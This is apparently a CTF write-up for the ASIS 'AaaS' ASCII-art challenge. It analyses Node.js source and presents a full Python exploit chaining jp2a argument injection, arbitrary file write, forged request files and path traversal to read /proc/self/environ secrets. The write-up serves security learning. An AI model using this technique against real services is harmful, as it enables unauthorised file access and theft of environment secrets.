The description for this challenge read 'You can convert your images to ASCII art. It is AaaS! ?'. Visiting the service, we are given a text box with a submission link.
Entering a link to an image would (after a few seconds) send back the image as ASCII art. The source is provided:
## Source Code Analysis
```jsapp.post('/request',(req,res)=>{    const url = req.body.url    const reqToken = genRequestToken()    const reqFileName = `./request/${reqToken}`    const outputFileName = `./output/${genRequestToken()}`
    fs.writeFileSync(reqFileName,[reqToken,req.session.id,"Processing..."].join('|'))    setTimeout(()=>{        try{            const output = childProcess.execFileSync("timeout",["2","jp2a",...url])            fs.writeFileSync(outputFileName,output.toString())            fs.writeFileSync(reqFileName,[reqToken,req.session.id,outputFileName].join('|'))        } catch(e){            fs.writeFileSync(reqFileName,[reqToken,req.session.id,"Something bad happened!"].join('|'))        }    },2000)    res.redirect(`/request/${reqToken}`)})```Our url is passed to JP2a (with a timeout of two seconds). Every request is given a unique 'request token', which is used as the name of the 'request file'. This file contains the current status of the request, along with the request token and session ID.
If JP2A finishes successfully, the output is written to 'outputFileName' (another random unique token), and the path to this output file is written to the request file.
There is an obvious command injection bug here: our URL is an array, and the spread operator (`...url`) expands it out - this allows us to provide extra arguments to JP2A.
```jsapp.get("/request/:reqtoken",(req,res)=>{	const reqToken = req.params.reqtoken	const reqFilename = `./request/${reqToken}`	var content	if(!/^[a-zA-Z0-9]{32}$/.test(reqToken) || !fs.existsSync(reqFilename)) return res.json( { failed: true, result: "bad request token." })
	const [origReqToken,ownerSessid,result] = fs.readFileSync(reqFilename).toString().split("|")
	if(req.session.id != ownerSessid) return res.json( { failed: true, result: "Permissions..." })	if(result[0] != ".") return res.json( { failed: true, result: result })
	try{		content = fs.readFileSync(result).toString();	} catch(e) {		return res.json({ failed: false, result: "Something bad happened!" })	}
	res.json({ failed: false, result: content })	res.end()})```After our request completes, we are redirected to the appropriate 'reqToken' route. This will check that our session ID matches that of the request file, and display the previously set output file if so.
Finally, the flag endpoint:
```jsapp.get("/flag",(req,res)=>{	if(req.ip == "127.0.0.1" || req.ip == "::ffff:127.0.0.1") res.json({ failed: false, result: flag })	else res.json({ failed: true, result: "Flag is not yours..." })})```'flag' is set in the environment, so it is not available as a regular file.
Finally, the `docker-compose` looks like:```yml    read_only: true    tmpfs:      - /app/request      - /app/output      - /tmp```Thus, only the 3 given paths are writable.
## SolvingJP2A by default outputs to stdout, but the `--output` flag allows us to specify a file to write to. This means we can write to arbritrary files! Initially, this output seemed uncontrolled - but JP2A provides a `--chars` argument, which specifies the dictionary of characters that pixels/regions are transformed to.
After some experimenting, I found that this can give a very simple write primitive - by simply linking to a black-white gradient of 50 pixels width, and providing 50 characters, it should return exactly our input!
With this, we had arbritrary file write. By writing to a 'request file' with our session ID and a file path, we could extend this to gain arbritrary file read!
### Image Generation
```pyfrom PIL import Imageimport numpy as np
s = "|2DLQEZRivGXt_c_tw4sRxe1CtYWjLbyC|FILEPATH|"
# Use 16 bit colours for more granularityarr = list(np.linspace(255*255, 1, num=len(s)))arr = [[x]*3 for x in arr]arr = np.array(arr, dtype=np.uint16)arr = np.rot90(arr)arr = arr[1:2]im = Image.fromarray(arr)im.save('test.png')```
The question now was what file to read? The flag was only stored in the environment - which is readable at the linux pseudo-file `/proc/self/environ`! There is a check that the filename begins with `.`, but this is easily bypassed with `../../proc/self/environ`
With this, the exploit path is clear:
1. Obtain a session cookie2. Host a gradient image3. Provide a controlled string to write `|<cookie_id>|../../proc/self/environ|` to a fake request-file4. Request that file, which will cause the flag to be read out
```pyimport timeimport subprocessimport requestsurl = "http://vps.clubby789.me:8080/test.png"s = requests.Session()r = s.post("http://asciiart.asisctf.com:9000/request", headers={"Content-Type": "application/json"}, data={"url": [url]})sid = r.cookies['connect.sid'][4:].split('.')[0]
payload = f"|{sid}|../../proc/self/environ|"# jp2a mixed up the characters so we had to rearrange the string a littlepayload = list(payload)payload.append(payload.pop(29))payload = ''.join(payload)print("RESULT")r = s.post("http://asciiart.asisctf.com:9000/request",    json={"url": [url, f"--width={len(payload)}", url, f"--chars={payload}", "-i", f"--size={len(payload)}x1"]}, allow_redirects=False)loc = r.headers['Location']time.sleep(3)# Confirming path is correctprint("Output of first: ")print(s.get("http://asciiart.asisctf.com:9000" + loc).json()['result'])
# Setup a payload to write to the filemyloc = "B"*32data = json={"url": [url, f"--width={len(payload)}", url, f"--chars={payload}", "-i", f"--size={len(payload)}x1", "--output=/app/request/" + myloc]}print(data)r = s.post("http://asciiart.asisctf.com:9000/request",    json=data, allow_redirects=False)loc = r.headers['Location']# Wait for the file to be written outtime.sleep(3)print("Output of second: ")print(s.get("http://asciiart.asisctf.com:9000" + loc).json()['result'])print("HERE WE GO")# Get the flagprint(s.get("http://asciiart.asisctf.com:9000/request/" + myloc).text)```
After a few seconds, we obtain the flag:
`ASIS{ascii_art_is_the_real_art_o/_a39bc8}`